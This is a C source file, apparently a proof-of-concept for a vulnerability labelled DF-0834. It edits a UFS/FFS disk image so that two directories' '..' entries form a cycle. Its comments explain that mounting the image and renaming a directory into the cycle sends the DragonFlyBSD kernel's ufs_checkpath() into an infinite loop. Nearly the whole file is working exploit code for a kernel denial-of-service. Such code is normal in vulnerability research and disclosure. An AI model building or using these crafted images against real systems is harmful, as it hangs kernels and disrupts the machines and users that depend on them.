DF-0834 / patch_ufs.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 | /* * patch_ufs.c โ DF-0834 image patcher (UFS/FFS analog of DF-0824). * * Forges a cyclic `..` chain (A->B, B->A) between two directories in a UFS/FFS * image by rewriting the on-disk dotdot_ino field (struct dirtemplate, offset * 12 in the directory's first data block โ sys/vfs/ufs/dir.h:136). * * Such cyclic `..` entries are impossible to create online (mkdir/rename always * set `..` to the true parent; hard-linking dirs is forbidden) but trivial * offline. When the image is later mounted and a directory is renamed into the * cyclic parent, ufs_checkpath() (sys/vfs/ufs/ufs_lookup.c:1130-1166) walks the * `..` chain in an unbounded `for(;;)` loop with no depth cap, no * visited-inode tracking, and no signal-pending check -> infinite kernel loop. * * This program uses the DragonFlyBSD kernel's own UFS on-disk headers and * macros (fs.h / dinode.h) so the geometry math is the kernel's math โ no * hand-rolled offsets that can drift. * * Usage: patch_ufs <image> <ino_A> <ino_B> * Build: cc -O2 -o patch_ufs patch_ufs.c */ #include <sys/types.h> #include <sys/param.h> /* MAXFRAG, DEV_BSIZE, etc. */ #include <vfs/ufs/ufs_types.h> /* ufs_daddr_t, ufs_time_t */ #include <vfs/ufs/fs.h> #include <vfs/ufs/dinode.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <fcntl.h> static void die(const char *m){ perror(m); exit(2); } static void rd(int fd, void *buf, size_t n, off_t off, const char *what) { if (pread(fd, buf, n, off) != (ssize_t)n) die(what); } static void wr(int fd, const void *buf, size_t n, off_t off, const char *what) { if (pwrite(fd, buf, n, off) != (ssize_t)n) die(what); } /* Mirror of the kernel macro cgstart() for FS_MAGIC filesystems. */ static ufs_daddr_t my_cgstart(const struct fs *fs, int c) { return (ufs_daddr_t)(fs->fs_cgoffset * ((c) & ~fs->fs_cgmask) + ((c) & fs->fs_cgmask) * fs->fs_fpg); } #define DOTDOT_OFF 12 /* offset of dotdot_ino in struct dirtemplate */ /* Returns the byte offset of inode @ino's first data block (di_db[0]). */ static off_t dir_data_off(int fd, const struct fs *fs, long ino) { int cg = ino / fs->fs_ipg; ufs_daddr_t cgstart = my_cgstart(fs, cg); ufs_daddr_t cgimin = cgstart + fs->fs_iblkno; long idx_in_cg = ino % fs->fs_ipg; /* itod(): cgimin + blkstofrags((idx/inopb)) */ ufs_daddr_t i_frag = cgimin + ((idx_in_cg / fs->fs_inopb) << fs->fs_fragshift); off_t inode_byte = (off_t)i_frag * fs->fs_fsize + (idx_in_cg % fs->fs_inopb) * sizeof(struct ufs1_dinode); struct ufs1_dinode di; rd(fd, &di, sizeof(di), inode_byte, "read inode"); if (di.di_db[0] <= 0) { fprintf(stderr, "inode %ld: no direct block (di_db[0]=%d, mode=0%o)\n", ino, di.di_db[0], di.di_mode); exit(2); } return (off_t)di.di_db[0] * fs->fs_fsize; } int main(int argc, char **argv) { if (argc != 4) { fprintf(stderr, "usage: %s <image> <ino_A> <ino_B>\n", argv[0]); return 1; } const char *img = argv[1]; long ino_A = atol(argv[2]); long ino_B = atol(argv[3]); if (ino_A < UFS_ROOTINO || ino_B < UFS_ROOTINO || ino_A == ino_B) { fprintf(stderr, "bad inodes A=%ld B=%ld\n", ino_A, ino_B); return 1; } int fd = open(img, O_RDWR); if (fd < 0) die("open"); /* 1. Read superblock at byte offset SBOFF. */ struct fs sb; rd(fd, &sb, sizeof(sb), SBOFF, "read superblock"); if (sb.fs_magic != FS_MAGIC) { fprintf(stderr, "not FFS: magic=0x%x (want 0x%x)\n", sb.fs_magic, FS_MAGIC); return 2; } printf("FFS superblock OK: fsize=%d frag=%d bsize=%d inopb=%d ipg=%d " "fpg=%d iblkno=%d cgoffset=%d cgmask=0x%x ncg=%d\n", sb.fs_fsize, sb.fs_frag, sb.fs_bsize, sb.fs_inopb, sb.fs_ipg, sb.fs_fpg, sb.fs_iblkno, sb.fs_cgoffset, sb.fs_cgmask, sb.fs_ncg); if (sb.fs_fsize <= 0 || sb.fs_frag <= 0 || sb.fs_inopb <= 0 || sb.fs_ipg <= 0 || sb.fs_fpg <= 0) { fprintf(stderr, "bogus superblock geometry\n"); return 2; } /* 2. Find each inode's first data block. */ off_t a_off = dir_data_off(fd, &sb, ino_A); off_t b_off = dir_data_off(fd, &sb, ino_B); printf("inode A=%ld dir data byte offset = %lld\n", ino_A, (long long)a_off); printf("inode B=%ld dir data byte offset = %lld\n", ino_B, (long long)b_off); /* 3. Show BEFORE state. struct dirtemplate dotdot_ino is at offset 12. */ uint8_t ablk[32], bblk[32]; rd(fd, ablk, 32, a_off, "read A dirblock"); rd(fd, bblk, 32, b_off, "read B dirblock"); uint32_t a_dot, a_dotdot, b_dot, b_dotdot; memcpy(&a_dot, ablk + 0, 4); memcpy(&a_dotdot, ablk + 12, 4); memcpy(&b_dot, bblk + 0, 4); memcpy(&b_dotdot, bblk + 12, 4); printf("BEFORE: A '.'=%u '..'=%u | B '.'=%u '..'=%u\n", a_dot, a_dotdot, b_dot, b_dotdot); /* 4. Patch: A's `..` -> B_ino, B's `..` -> A_ino. */ uint32_t new_a_dotdot = (uint32_t)ino_B; uint32_t new_b_dotdot = (uint32_t)ino_A; wr(fd, &new_a_dotdot, 4, a_off + DOTDOT_OFF, "patch A .."); wr(fd, &new_b_dotdot, 4, b_off + DOTDOT_OFF, "patch B .."); /* 5. Verify AFTER. */ rd(fd, ablk, 32, a_off, "re-read A dirblock"); rd(fd, bblk, 32, b_off, "re-read B dirblock"); memcpy(&a_dotdot, ablk + 12, 4); memcpy(&b_dotdot, bblk + 12, 4); printf("AFTER: A '..'=%u (want %ld) | B '..'=%u (want %ld)\n", a_dotdot, ino_B, b_dotdot, ino_A); if (a_dotdot == (uint32_t)ino_B && b_dotdot == (uint32_t)ino_A) { printf("OK: cyclic `..` chain forged A(%ld) <-> B(%ld)\n", ino_A, ino_B); return 0; } fprintf(stderr, "FAIL: verification mismatch\n"); return 2; } |